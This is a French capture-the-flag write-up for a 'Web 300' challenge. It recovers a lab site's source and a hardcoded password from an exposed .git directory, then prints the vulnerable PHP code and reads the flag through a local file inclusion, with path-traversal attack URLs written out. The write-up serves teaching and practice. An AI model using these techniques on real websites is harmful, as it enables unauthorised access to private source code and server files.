Challenge WEB 300

Voici le challenge Web 300 proposé durant les CTF.

C'est un challenge original qui nous a donné vraiment mal à la tête.

Je pense que nous avons été nombreux à chercher un rapport entre les X-MEN et le challenge.

Résolution :

Voici la page d'accueil sur laquelle on arrive.

Premier réflexe :  regarder le code source.

Dans les méta données, on pouvait voir une ligne avec un numéro de commit “Update commit 548789”.

Deux options s'offrent à nous :

- Soit le site est un CMS (après googlisation ce n'est pas le cas) et il faut trouver sa version.

- Soit le site utilise un soft de subversionning (git, svn, ou autre).

Testons de trouver un repository :

http://192.168.4.1:8300/.git/

On se retrouve devant un “Forbidden”. Cela veut dire qu'il y a un répertoire git.

Sur notre pc , on crée un répertoire :

mkdir llamas

On va dedans : cd llamas

Et on git clone :

git clone http://192.168.4.1:8300/.git/ .

Cela aura pour effet de cloner le git du site sur notre machine. Et ainsi de télécharger les sources du site.

En inspectant le code source d'index.php on ne voit rien qui nous permettent de valider directement l'épreuve.

Néanmoins, il y a un include d'un fichier “.passwd”. Cependant, nous n'avons pas ce fichier dans la version de git que nous avons clonée.

Par conséquent on va afficher l'historique des commits réalisé avec git :

git log

commit 55ceec98046bea3fda2d9cc358660f066505765b

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:54:10 2015 +0100

    Add GET parameter verification

commit 3c93a840251d5ec6bdfbde683e2def9fd0be4a28

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:52:17 2015 +0100

    Add password verification in php

commit e82add9f51061086903ad0f7cfcf9568c8c8d140

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:49:45 2015 +0100

    Add form to enter password
    
commit 1c9b67a336c7ce58163567ba9193b747b2e780b5

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:49:28 2015 +0100

    Add subtitle to webpage
    
commit 492f71e69e7416e6c0765bd936274f9eb3a6e53c

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:36:10 2015 +0100

    Add missing files
    
commit 1f866c2c1aab83dabb6a2b5a4db18540d1151db7

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:36:01 2015 +0100

    First draft of web page
    
commit f9043c688d52f51d9102ef78f92e55144fb164a7

Author: Franck De Goër <degoerdf@ensimag.fr>

Date:   Sat Nov 7 09:35:48 2015 +0100
    Import gitignore

La version de git qui nous intéresse est la première.

Pour synchroniser notre pc avec cette version  :

git reset 55ceec98046bea3fda2d9cc358660f066505765b

On s'aperçoit qu'on récupère le fichier .passwd qui n'avait pas été récupéré lors du premier clonage (restriction de git).

On affiche le contenu du fichier .passwd :\

<?php pwd="i_love_llamas_even_more_than_i_love_you" ?>

Du coup on essaye :

http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you

On obtient :

Accès authorisé mais pas de flag … Si on retourne voir dans le code source de index.php , on trouve une LFI (local file inclusion) :

<?php
$user = "";
if (isset($_GET["user"]) && $_GET["user"] != "")
   { $user = $_GET["user"]; } 
else if (isset($_POST["user"]) && $_POST["user"] != "") 
   { $user = $_POST["user"]; } 
else { $user = "anonymous fan of llamas"; } 
echo $user . ". "; 
$file = "log/" . $user; 
date_default_timezone_set(''UTC''); 
if (file_exists($file)) { include($file); } 
file_put_contents($file, "Last logged on " . date("M, d") . " at " . date("H:i") . " UTC"); 
?>

On inclus dans la variable user le fichier .flag qui est dans le dossier parent :

http://192.168.4.1:8300/index.php?pwd=i_love_llamas_even_more_than_i_love_you&user=../.flag

On obtient :

le flag : *they_are_not_llamas_they_are_alpacas*